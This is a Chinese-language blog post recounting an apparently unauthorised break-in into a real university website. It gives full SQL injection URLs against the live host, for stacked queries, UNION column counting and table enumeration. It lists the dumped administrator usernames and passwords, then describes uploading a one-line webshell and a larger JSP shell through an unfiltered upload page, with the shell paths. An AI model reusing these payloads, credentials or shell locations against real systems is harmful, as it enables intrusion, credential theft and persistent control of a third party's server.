这件事情的起因还是因为基友扔给我一个,我们学校的注入点,一看是我们学校的页面一股反哺之情油然而生,当然要责无旁贷的搞一下
注入点是这个
http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100
邪恶的注入点页面
之前和网络中心的老师亲切洽谈,得知学校的网络中心结构大致是,一堆服务器采用真实ip,在网关处使用一个web防火墙来拦截与过滤大部分的来自web
的攻击,但是主机本身的漏洞和内网方面的防护比较薄弱,但是这个web防火墙的确是很强大,在之后的检测后勤系统的时候遇到了一次,不过这个
本科生学院的网站并不在网络中心的网络中,但是wvs等扫描工具依然被拦截了。
言归正传来看这个注入点,do action这种东西是MVC(Modle View Controller)的特征,一般是JSP框架Struts Spring Hibernate使用的东西,java源代码在后台
被编译并生成Servlet,out.do模式的用户输入被框架拦截,在分发给相应的Servlet,所以相应页面在客户端是不可见的。
具体的资料看这里
http://hi.baidu.com/jeffmingming/item/7c8605f9824214643c1485f0
http://blog.sina.com.cn/s/blog_4c8f342d01000bjg.html
昨天看了JSP多层架构好像有一个config文件泄露的漏洞,这里先留个坑。
注入点应该是一个MSSQL的注入点,MSSQL提供了很多强大的系统函数,多行支持以及很强大的存储过程,注入点的利用方式很多
1.字符串函数 长度与分析用 datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格 substring(expression,start,length) 不多说了,取子串 right(char_expr,int_expr) 返回字符串右边int_expr个字符 字符操作类 upper(char_expr) 转为大写 lower(char_expr) 转为小写 space(int_expr) 生成int_expr个空格 replicate(char_expr,int_expr)复制字符串int_expr次 reverse(char_expr) 反转字符串 stuff(char_expr1,start,length,char_expr2) 将字符串char_expr1中的从 start开始的length个字符用char_expr2代替 ltrim(char_expr) rtrim(char_expr) 取掉空格 ascii(char) char(ascii) 两函数对应,取ascii码,根据ascii吗取字符 字符串查找 charindex(char_expr,expression) 返回char_expr的起始位置 patindex("%pattern%",expression) 返回指定模式的起始位置,否则为0 2.数学函数 abs(numeric_expr) 求绝对值 ceiling(numeric_expr) 取大于等于指定值的最小整数 exp(float_expr) 取指数 floor(numeric_expr) 小于等于指定值得最大整数 pi() 3.1415926......... power(numeric_expr,power) 返回power次方 rand([int_expr]) 随机数产生器 round(numeric_expr,int_expr) 安int_expr规定的精度四舍五入 sign(int_expr) 根据正数,0,负数,,返回+1,0,-1 sqrt(float_expr) 平方根 3.日期函数 getdate() 返回日期 datename(datepart,date_expr) 返回名称如 June datepart(datepart,date_expr) 取日期一部份 datediff(datepart,date_expr1.dateexpr2) 日期差 dateadd(datepart,number,date_expr) 返回日期加上 number 上述函数中datepart的 写法 取值和意义 yy 1753-9999 年份 qq 1-4 刻 mm 1-12 月 dy 1-366 日 dd 1-31 日 wk 1-54 周 dw 1-7 周几 hh 0-23 小时 mi 0-59 分钟 ss 0-59 秒 ms 0-999 毫秒 日期转换 convert() 4.系统函数 suser_name() 用户登录名 user_name() 用户在数据库中的名字 user 用户在数据库中的名字 show_role() 对当前用户起作用的规则 db_name() 数据库名 object_name(obj_id) 数据库对象名 col_name(obj_id,col_id) 列名 col_length(objname,colname) 列长度 valid_name(char_expr) 是否是有效标识符
由于是一个无返错的注入点,一位一位的猜了一下,得到了用户名,数据库名等信息,权限是DB_owner
初步的思想是通过sysobjects和syscolumns,强行跑出表名,字段名与数据,
默认情况下,MSSQL有一个master数据库,里面的sysdatebases表存有所有的数据库名
每个数据库里面都有一个sysobjects表保存了所有的数据表,详细解释见如下网址
http://www.2cto.com/database/201204/127011.html
整理了一下MSSQL盲注所使用的注入语句
稍微说一下select as的用处是给字段创建一个别名,多用于多表查询,有相同字段的情况
select into 可以创建件一个新表,并把查询内容赋给这个表 类似 select * into newtable where tabel
inner join 是一个叫做内连接的东西,类似 select * from table_1 inner join table_2 on *
执行效果其实与 select * from table_1,table_2 where where * 一样
在where被过滤的时候,可以考虑用它来绕过
select * from master.dbo.sysdatabases where dbid>5select * from test.dbo.sysobjects where xtype=Uselect * from test.dbo.syscolumns where id=5575058select a.name from test.dbo.sysobjects as a inner join test.dbo.syscolumns as b on a.id=b.id where a.xtype=U and b.name like type%select * from test.dbo.syscolumns where id=object_id(test.dbo.test1)select * from test.dbo.adminand len((select top 1 username from test.dbo.admin))=3and (ascii(substring((select top 1 username from Com.dbo.admin admin not in ('admin')),1,1)))=97
更详细的MSSQL注入语句http://hi.baidu.com/gza520748/item/327dfd17c3e493403a176eb6
在高手的指点下使用了UNION,不用不知道,一用还真灵,爆管理员密码不费劲~
首先猜一下字段个数,有些数据库不能智能识别int 与 string类型比如MSSQL,这里先用null代替
之后再一位一位的猜测类型
http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100';create%20table%20test1(id%20int)--http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20union%20all%20select%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from test1--http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20and%201=2%20union%20all%20select%201,2,3,'4','5','6','7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20test1 --得到字段的数量和类型,下面就是猜测数据表的名字了
一开始我想到的是用select like的方法可是%被过滤了,这时机友大神又及时出现,提供了charindex()函数
这里information_schema.tables 与 sysobjects大致相同,不同点是,information_schema是一个单独的数据库,里面存放了其他库的所有信息
而sysobjects是一个数据库表,每个数据库中有一个存储自己的表的信息,而且会包含系统表,加上xtype=‘U’就好
http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20and%201=3%20union%20all%20select%20 1,2,3,'4','5',table_name,'7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20information_schema.tables where charindex('admin',table_name)>0--
http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100'%20and%201=3%20union%20all%20select%20 1,2,3,'4','5',name,'7',8,9,'10',11,'12','13','14',15,16,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37%20from%20sysobjects where charindex('admin',name)>0 and xtype='U' --
一番查找之后找到了那么几个可疑表
关于admin的表 ('t_glzx_admin','t_zxdc_Admins')关于user的表 ('t_forum_user','t_out_user','t_user_content')
找字段名的方法和上面类似
http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100' and 1=3 union all select 1,2,3,'4','5',column_name,'7',8,9,table_name,11,'12','13','14',15,table_schema,17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37 from information_schema.columns where table_name='t_glzx_admin'
使用sysobject 方法类似,只不过使用到object_id这个函数
http://hituc.hit.edu.cn:2011/manager.do?viewType=newsdetail&flowsort=097201224358687PM100' and 1=3 union all select 1,2,3,'4','5',name,'7',8,9,'10',11,'12','13','14',15,'16',17,18,19,'20','21',22,23,24,25,26,27,28,29,30,31,32,'33','34',35,36,37 from syscolumns where id=object_id('t_zxdc_Admins')--
有了表名和字段名,得到数据就不是问题了,在这几个表里面找了一下,终于找到了管理员密码
t_zxdc_Admins :('Admname','admpwd')Admname : 1admpwd : 1t_glzx_admin : ('id','admin','password','entertime') id :1admin :administratorpassword :MQ== base64(1)管理员账号在此t_user_content : ('id','userid','userenglishid','user_password','user_name','bsys','slms')userid :管理员 userenglishid:administratoruser_password:hitucadmin2011 数据库中的密码使用了base64加密进入后台是这个样子
后台看了一下,存在一个没有过滤任何后缀的上传页面
http://hituc.hit.edu.cn:2011/Manager/manager/addnews.jsp
直接上传一句话,在上传大马,拿到shell了,jsp的马在不同JDK版本下会产生错误,有点蛋疼。
http://hituc.hit.edu.cn:2011/data/xwxx/JS/Iframe.jsphttp://hituc.hit.edu.cn:2011/WLBG.jsp ninty
在WEB-INF目录下下载了struts-config.xml,看来是一个struts架构的网站。
找到了manager.do?viewType=newsdetail的转跳页面
<forward name="newsdetail" path="/content/newsdetail.jsp" />找到了这个目录发现,这个网站是由 伊春市体育信息网 这个模板修改而来,但是因为,对于structs的架构不算特别了解,没有找到
具体出现漏洞的语句,这里先留个坑。